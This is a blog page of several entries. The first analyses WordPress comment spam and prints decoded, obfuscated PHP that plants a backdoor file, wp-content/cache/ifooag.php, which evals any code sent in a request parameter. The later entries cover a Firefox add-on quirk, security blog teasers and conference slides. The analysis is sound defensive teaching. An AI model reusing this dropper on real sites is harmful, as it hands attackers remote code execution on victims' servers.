terriko: (Default)
WARNING: This entry contains some actual malicious code. I've HTML-escaped it so that it isn't going to get executed by you viewing it, but it was clearly intended to attack Wordpress blogs, so if you're going to mess around with analyzing, do it in a browser that's not logged in to any Wordpress blog.

So I was clearing spam queues this morning, and came across a bunch of spam with this string in it:


Or this clearly related one (note that the top of the string is the same):


As you can tell from the first sample, it's base64 encoded... something. b64 is pretty commonly used by attackers to obfuscate their code, so in case the spammy username and comment that went with the code wasn't enough to tell me that something bad was intended, the b64 encoding itself would have been a clue. If I didn't have the pretty huge hint of the base64_decode line, I might have been able to figure it out from the format and the fact that I know that b64 uses = as a padding (visible at the end of the second string).

Being a curious sort of person, I decoded the first string. In my case, I just opened up Python, and did this:

>>> import base64
>>> base64.b64decode(badstring1)
"if($f=fopen('wp-content/cache/ifooag.php','w')){fputs($f,'<?php /*N%P`%*/eval/*If\\',-*/(/*>6`He*/base64_decode/*@M)2*/(/*~:H5*/\\'Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBRKi9pc3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qciB4Ki9bLyooflFxKi8nYycvKjE/QGV0WyovLi8\\'/*OzM520*/./*9J+,*/\\'qPSwpKi8neicvKnVUQTkzKi8uLypDe0c6QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqLyd6Jy8qeGdnMXY2MSovLi8qVnBJZzQqLyd5Jy8qZXxqeUEqLy4vKix2KCovJ2\\'/*yAt&*/./*@5Dw&]N*/\\'wnLypGLVFvTDQqL10vKmJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLypVc0htWV1lWiovc3RyaXBzbGFzaGVzL\\'/*Yabk*/./*O~qs*/\\'yo8SGczKi8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL1svKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8neicvKjsmMygyMWQmXSovLi8qO1BPdSovJ2wnLypZWVAz\\'/*{YJ}1*/./*v+(-;k*/\\'enUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL10vKk4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vKmJYPCovKS8qOlo2VUUoSkI4Ki8vKkJXZztASyovOy8qRTsrdidJKi8=\\'/*(kCp@Y>*/)/*`bc*//*Hv^!*/)/*WmF*//*P_We``>{*/;/*-|lTE1*/?>');fclose($f);}"

(Well, okay, I actually ran cgi.escape(base64.b64decode(badstring1)) to get the version you're seeing in this blog post since I wanted to make sure none of that was executed in your browser, but that's not relevant to the code analysis, just useful if you're talking about code on the internet)

So that still looks pretty obfuscated, and even more full of base64 (yo, I heard you like base64 so I put some base64 in your base64). But we've learned a new thing: the code is trying to open up a file in the wordpress cache called ifooag.php, under wp-content which is a directory wordpress needs to have write access to. I did a quick web search, and found a bunch of spam, so my bet is that they're opening a new file rather than modifying an existing one. And we can tell that they're trying to put some php into that file because of the <?php and ?> which are character sequences that tell the server to run some php code.

But that code? Still looks pretty much like gobbledegook.

If you know a bit about php, you'll know that it accepts c-style comments delineated by /* and */, so we can remove those from the php code to get something a bit easier to parse:


Feel like we're going in circles? Yup, that's another base64 encoded string. So let's take out the quotes and the concatenations to see what that is:


You might think we're getting close now, but here's what you get out of decoding that:

>>> base64.b64decode(badstring1a)
"/*wc`;p*/if/*w!n[*/(/*^s[!TrpQ*/isset/*PH49|@*/(/*x`jV)N*/$_REQUEST/*r x*/[/*(~Qq*/'c'/*1?@et[*/./*=,)*/'z'/*uTA93*/./*C{G:@4\\*/'l'/*8t o*/./*myM=<D`*/'z'/*xgg1v61*/./*VpIg4*/'y'/*e|jyA*/./*,v(*/'l'/*F-QoL4*/]/*bakM)*//*\\;sn*/)/*NwKI'_*//*O_k*/)/*H@aK4T*/eval/*2N|20>*/(/*UsHmY]eZ*/stripslashes/*<Hg3*/(/*UAKaf*/$_REQUEST/*V.KT {*/[/*K-.c*/'c'/*Hoh*/./*XN;G*/'z'/*;&3(21d&]*/./*;POu*/'l'/*YYP3zu*/./*UliU-*/'zyl'/*FTY\\4*/]/*N?Rb>+f*//*K+KC*/)/*l@j*//*bX<*/)/*:Z6UE(JB8*//*BWg;@K*/;/*E;+v'I*/"

Yup, definitely going in circles. But at least we know what to do: get rid of the comments again.

Incidentally, I'm just using a simple regular expression to do this: s/\/\*[^*]*\*\///g. That's not robust against all possible nestings or whatnot, but it's good enough for simple analysis. I actually execute it in vim as :%s/\/\*[^*]*\*\///gc and then check each piece as I'm removing it.

Here's what it looks like without the comments:


So let's stick together those concatenated strings again:


Okay, so now it's added some piece into some sort of wordpress file that is basically just waiting for some outside entity to provide code which will then be executed. That's actually pretty interesting: it's not fully executing the malicious payload now; it's waiting for an outside request. Is this to foil scanners that are wise to the type of things spammers add to blogs, or is this in preparation for a big attack that could be launched all at once once the machines are prepared?

It's going to go to be a request that starts like this http://EXAMPLE.COM/wp-content/cache/ifooag.php?czlzyl=

Unfortunately, I don't have access to the logs for the particular site I saw this on, so my analysis stops here and I can't tell you exactly what it was going to try to execute, but I think it's pretty safe to say that it wouldn't have been good. I can tell you that there is no such file on the server in question and, indeed, the code doesn't seem to have been executed since it got caught in the spam queue and discarded by me.

But if you've ever had a site compromised and wondered how it might have been done, now you know a whole lot more about the way it could have happened. All I can really suggest is that spam blocking is important (these comments were caught by akismet) and that if you can turn off javascript while you're moderating comments, that might be the safest possible thing to do even though it makes using wordpress a little more kludgy and annoying. Thankfully it doesn't render it unusable!

Meanwhile, want to try your own hand at analyzing code? I only went through the full decoding for the first of the two strings I gave at the top of this post, but I imagine the second one is very similar to the first, so I leave it as an exercise to the reader. Happy hacking!
terriko: (Pi)
In the course of my thesis work, I made myself a little Firefox plugin that tells me where the javascript/dynamic parts are in a page. It's a fun little thing, just puts some big coloured boxes up, and I used it to help understand how people were using javascript in practice. It's one of those things I should probably release just 'cause it's fun, but I didn't have time to maintain in any meaningful way so I didn't get around to it.

Anyhow, I pulled it out last week to see what state it's in because I want to adapt some ideas from it, and it wasn't working. Which is odd, 'cause it's really quite simple. The core is just a loop that goes through each page element and looks for stuff like onmousover events:

var allTags = document.getElementsByTagName("*");
for each (var tag in allTags) {
// ... do some stuff

And in debugging it, I've learned that getElementsByTagName("*"), which apparently used to return all the tags as objects, is now returning all the tags as well as, inexplicably, a number. It's not the same number for every page, and most of them seem to be around one thousandish on the simpler pages I was trying to test. Which sort of makes me think that maybe it's returning the number of tags, or that it sometimes returns an ordinal index for a single tag instead of an object, but why?

As it turns out, it didn't take much to get my add-on back up and running, just a quick check to see if the "tag" in question was in fact an object. But I'm left with a question: why has this changed in Firefox since I initially made the add-on? I'm not even sure where to ask, since it doesn't seem like it's a thing that changed in the specs. I'm recording it here for posterity so I remember to try to look it up later, but if you happen to know what's going on, please get in touch!
terriko: (Default)
Been a while for a Web Insecurity post, eh? I blame thesis.

Anyhow, here's the teaser:

Web Insecurity : I admit, I laughed: LulzSec as popular as orgasms?

I don't know about you, but I got a great chuckle out of the thought that LulzSec might be as popular as orgasms... at least when it comes to scam bait.

Read the full post here (and learn about how LulzSec hacked the sun!)
terriko: (Default)
Tuesday's post on Geek Feminism entitled : "Quick Hit: Men, Medicine, and Meritocracy vs Affirmative Action" has some interesting discussion going on in the comments. The article is about how med schools in Canada are seeing more female applicants than male ones (and are accepting a lot of women) and some of the "stealth" affirmative action that's been taken to keep medicine from getting very disbalanced.

Wednesday's post on Web Insecurity is about firesheep. Nothing too insightful, just lauding the cleverness of it in a social hacking sense, and thinking, "why didn't we ever bother to build this in university?" (We did similar hacks for fun and education of our peers.)

Wednesday's CU-WISE blog post is on the subject of Dot Diva: The Webisode. (You can also see an extended version of the dot diva post on Geek Feminism.) We see a lot of outreach aimed at teaching girls computer science, but this is a project that tries to tackle the image of computer science. Their inspirations included the changed attitudes towards forensics thanks to shows like CSI. I'm torn because I found parts of the webisode awkward, but others fun, and I really think they've got some good brains and ideas behind this project.

Thursday's Web Insecurity post Why 12 year olds may be our best bug hunters is about this cool 12 year old boy named Alex Miller who collected on one of the Mozilla bug bounties. I always find adult reactions to smart kids can be a bit strange and sometimes condescending, so this is me musing on how the 12 year olds I've worked with are actually pretty awesome.

In non-blogging news, I'm working on some stuff about web standards vs attacks and vulnerabilities that I'll probably be posting privately soon for comments and ideas before I start putting together more comprehensive ideas for the IETF websec group. Their current discussion on dnssec irks me because it seems... mildly irrelevant to some of the real problems I assumed the group was destined to solve. I'm biased on the subject of DNSSec (see The Futility of DNSSec), but surely websec should be talking about more broad initiatives?
terriko: (Default)
I've posted the web version of the presentation I gave at HotSec. I find it amusing, and so did my audience. Here's some sample slides to give you the, ahem, picture. This should be a 3x4 grid if you see it on my blog directly, but who knows what it'll look syndicated?

83% of web sites have had a serious vulnerability64% of all sites have a security flaw right nowWhat makes the web so hard to secure?
There are no restrictions within a web pageSeparation between components can mitigate attacksBut not many web developers use encapsulation
Infographics make complex data easier to understand using visualsEquations allow more detailed analysis... if you understand them.The people who make web pages... are also the people who make infographics
Visual Security PolicyMath is hard; let's draw boxes!Visual Security Policy (ViSP)

The whole presentation I gave at HotSec is here.
Page generated Mar. 23rd, 2017 02:13 am
Powered by Dreamwidth Studios